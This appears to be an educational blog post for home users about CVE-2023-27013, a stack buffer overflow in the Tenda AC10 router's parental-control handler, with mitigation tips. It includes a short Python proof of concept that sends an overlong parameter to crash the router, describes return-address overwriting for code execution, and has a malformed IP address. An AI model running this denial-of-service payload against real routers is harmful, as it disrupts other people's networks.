Published: June 2024  
*Written for infosec beginners and curious home users.*

Introduction

Wireless routers are everywhere, but how safe are they? The Tenda AC10 is a popular, affordable Wi-Fi router used in many homes and small offices. In early 2023, a critical vulnerability—CVE-2023-27013—was disclosed in Tenda AC10 (model US_AC10V4.si_V16.03.10.13_cn). It allows attackers to crash the device or run malicious code remotely by exploiting a function named get_parentControl_list_Info.

In this long-read post, I’ll explain this vulnerability in simple terms, break down the technical details, walk through a proof-of-concept exploit, and give tips on what you should do if you have a Tenda AC10.

What is CVE-2023-27013?

- Affected Device/Version: Tenda AC10 (US_AC10V4.si_V16.03.10.13_cn)

Affected Function: get_parentControl_list_Info

- Attack Surface: Local network (L2) / Remote (if exposed to internet)

Impact: Denial of Service (crash router) or Remote Code Execution (full takeover)

- Reference: NVD Entry

Where’s the Problem?

The Tenda router provides a web interface for management. Under the hood, it runs a web server that handles requests, including one for querying or managing “Parental Control” rules. This server calls a function (C code) named get_parentControl_list_Info whenever a user interacts with the parental control list.

In firmware version V16.03.10.13_cn, this function does not properly validate the size of the incoming request data. If an attacker sends too much data (“overflows” the expected buffer), it writes beyond the allocated memory on the stack—classic stack buffer overflow. This is a favorite bug class for hackers because it can allow both crashing the software (Denial of Service) and even running malicious code (Remote Code Execution, or RCE).

The actual (decompiled) function looks something like this (paraphrased for clarity)

int get_parentControl_list_Info(char *input) {
    char buf[256];
    strcpy(buf, input); // <-- DANGER! No bounds checking!
    // ... process buf ...
}

strcpy will copy *all* data from input to buf, even if input is longer than 256 bytes, overrunning the stack.

How Attackers Abuse This

1. Attacker connects to the router’s web interface (typically http://192.168..1).

Sample Exploit (Python)

Note: Running this *will* crash your router!  
(Don’t try this on devices you don’t own or without permission.)

import requests

# Target your router's IP
url = "http://192.168..1/goform/getParentControlListInfo"

# Create an overlong payload (~1024 bytes)
payload = "A" * 1024

header = {
    "Content-Type": "application/x-www-form-urlencoded"
}

# The vulnerable parameter may vary; in some firmware, it's 'list_id' or similar.
data = f"list_id={payload}"

response = requests.post(url, data=data, headers=header)

print("Status:", response.status_code)
print("Response:", response.text)

Result: The router process will likely crash, reboot, or freeze.

Arbitrary Code Execution (RCE)?

Exploiting this for full code execution is more advanced. An attacker crafts their payload to overwrite the “return address” to jump to their injected shellcode. This can let them add an admin user, plant a backdoor, or launch attacks from your network.

1. Update Firmware

Tenda may have released a patch, or newer firmware may fix this flaw. Updates are at Tenda’s official site.

2. Restrict Access

Never expose your router’s administration interface to the internet. Access it only from inside your home.

3. Use Strong Passwords

Even if an attacker cannot exploit this bug remotely, strong admin passwords make it harder for others to get into your device.

4. Monitor for Reboots

Unexpected router reboots or frequent disconnects can be a sign of active exploitation.

More Info and References

- NVD Entry: CVE-2023-27013
- Exploit Database Example *(if/when available)*
- Tenda AC10 Official Firmware
- General guide to stack buffer overflows (OWASP)

Final Thoughts

Stack overflows like this are among the oldest, most dangerous bugs in C/C++ software. This Tenda AC10 flaw shows why vendor firmware updates matter, and why home users should stay alert to device vulnerabilities. If left unpatched, CVE-2023-27013 could let an attacker take down your network or use your home router for much worse.

Stay safe! Check your device firmware today.

If you found this post helpful, share it with neighbors, friends, or anyone using Tenda routers! Knowledge is power on the home-front too.

*All content © 2024, for educational purposes only.*

Timeline

Published on: 04/07/2023 02:15:00 UTC
Last modified on: 04/13/2023 18:03:00 UTC